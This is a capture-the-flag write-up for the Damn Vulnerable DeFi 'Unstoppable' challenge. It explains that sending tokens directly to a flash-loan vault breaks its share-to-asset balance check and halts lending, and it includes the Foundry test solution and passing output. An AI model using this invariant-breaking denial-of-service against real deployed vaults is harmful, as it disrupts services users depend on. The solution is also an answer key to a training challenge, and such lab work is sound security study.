There’s a tokenized vault with a million DVT tokens deposited. It’s offering flash loans for free, until the grace period ends.
To catch any bugs before going 100% permissionless, the developers decided to run a live beta in testnet. There’s a monitoring contract to check liveness of the flashloan feature.
Starting with 10 DVT tokens in balance, show that it’s possible to halt the vault. It must stop offering flash loans.
To stop the UnstoppableVault from providing flash loans normally, we need to examine whether any of the conditions in the flashLoan function can be made to fail, triggering a revert. The function can revert under the following four conditions:
- The provided amount is 0.
- The provided token does not equal the asset variable.
- convertToShares(totalSupply) does not equal totalAssets().
- The callback to the receiver's onFlashLoan function does not correctly return keccak256("IERC3156FlashBorrower.onFlashLoan").
Upon closer inspection, conditions 1, 2, and 4 are all determined by the caller's inputs and will trigger a revert based on those inputs. However, condition 3 is tied to the totalAssets() function, which returns the balance of the asset token in the UnstoppableVault. We can manipulate this condition by directly transferring the asset token into the UnstoppableVault contract, causing the calculated shares to mismatch with the actual balance. This discrepancy will result in an InvalidBalance error whenever anyone attempts to call the flashLoan function.
- transfer the token to the vault directly.
// SPDX-License-Identifier: MIT
// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
pragma solidity =0.8.25;
import {Test, console} from "forge-std/Test.sol";
import {DamnValuableToken} from "../../src/DamnValuableToken.sol";
import {UnstoppableVault, Owned} from "../../src/unstoppable/UnstoppableVault.sol";
import {UnstoppableMonitor} from "../../src/unstoppable/UnstoppableMonitor.sol";
contract UnstoppableChallenge is Test {
address deployer = makeAddr("deployer");
address player = makeAddr("player");
address monitor = makeAddr("monitor");
uint256 constant TOKENS_IN_VAULT = 1_000_000e18;
uint256 constant INITIAL_PLAYER_TOKEN_BALANCE = 10e18;
DamnValuableToken public token;
UnstoppableVault public vault;
UnstoppableMonitor public monitorContract;
modifier checkSolvedByPlayer() {
vm.startPrank(player, player);
_;
vm.stopPrank();
_isSolved();
}
/**
* SETS UP CHALLENGE - DO NOT TOUCH
*/
function setUp() public {
startHoax(deployer);
// Deploy token and vault
token = new DamnValuableToken();
vault = new UnstoppableVault({_token: token, _owner: deployer, _feeRecipient: deployer});
// Deposit tokens to vault
token.approve(address(vault), TOKENS_IN_VAULT);
vault.deposit(TOKENS_IN_VAULT, address(deployer));
// Fund player's account with initial token balance
token.transfer(player, INITIAL_PLAYER_TOKEN_BALANCE);
// Deploy monitor contract and grant it vault's ownership
monitorContract = new UnstoppableMonitor(address(vault));
vault.transferOwnership(address(monitorContract));
// Monitor checks it's possible to take a flash loan
vm.expectEmit();
emit UnstoppableMonitor.FlashLoanStatus(true);
monitorContract.checkFlashLoan(100e18);
vm.stopPrank();
}
/**
* VALIDATES INITIAL CONDITIONS - DO NOT TOUCH
*/
function test_assertInitialState() public {
// Check initial token balances
assertEq(token.balanceOf(address(vault)), TOKENS_IN_VAULT);
assertEq(token.balanceOf(player), INITIAL_PLAYER_TOKEN_BALANCE);
// Monitor is owned
assertEq(monitorContract.owner(), deployer);
// Check vault properties
assertEq(address(vault.asset()), address(token));
assertEq(vault.totalAssets(), TOKENS_IN_VAULT);
assertEq(vault.totalSupply(), TOKENS_IN_VAULT);
assertEq(vault.maxFlashLoan(address(token)), TOKENS_IN_VAULT);
assertEq(vault.flashFee(address(token), TOKENS_IN_VAULT - 1), 0);
assertEq(vault.flashFee(address(token), TOKENS_IN_VAULT), 50000e18);
// Vault is owned by monitor contract
assertEq(vault.owner(), address(monitorContract));
// Vault is not paused
assertFalse(vault.paused());
// Cannot pause the vault
vm.expectRevert("UNAUTHORIZED");
vault.setPause(true);
// Cannot call monitor contract
vm.expectRevert("UNAUTHORIZED");
monitorContract.checkFlashLoan(100e18);
}
/**
* CODE YOUR SOLUTION HERE
*/
function test_unstoppable() public checkSolvedByPlayer {
// transfer token to the vault directly
token.transfer(address(vault), INITIAL_PLAYER_TOKEN_BALANCE);
}
/**
* CHECKS SUCCESS CONDITIONS - DO NOT TOUCH
*/
function _isSolved() private {
// Flashloan check must fail
vm.prank(deployer);
vm.expectEmit();
emit UnstoppableMonitor.FlashLoanStatus(false);
monitorContract.checkFlashLoan(100e18);
// And now the monitor paused the vault and transferred ownership to deployer
assertTrue(vault.paused(), "Vault is not paused");
assertEq(vault.owner(), deployer, "Vault did not change owner");
}
}
Ran 2 tests for test/unstoppable/Unstoppable.t.sol:UnstoppableChallenge
[PASS] test_assertInitialState() (gas: 57390)
[PASS] test_unstoppable() (gas: 62255)
Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 1.62ms (276.83µs CPU time)
Ran 1 test suite in 243.63ms (1.62ms CPU time): 2 tests passed, 0 failed, 0 skipped (2 total tests)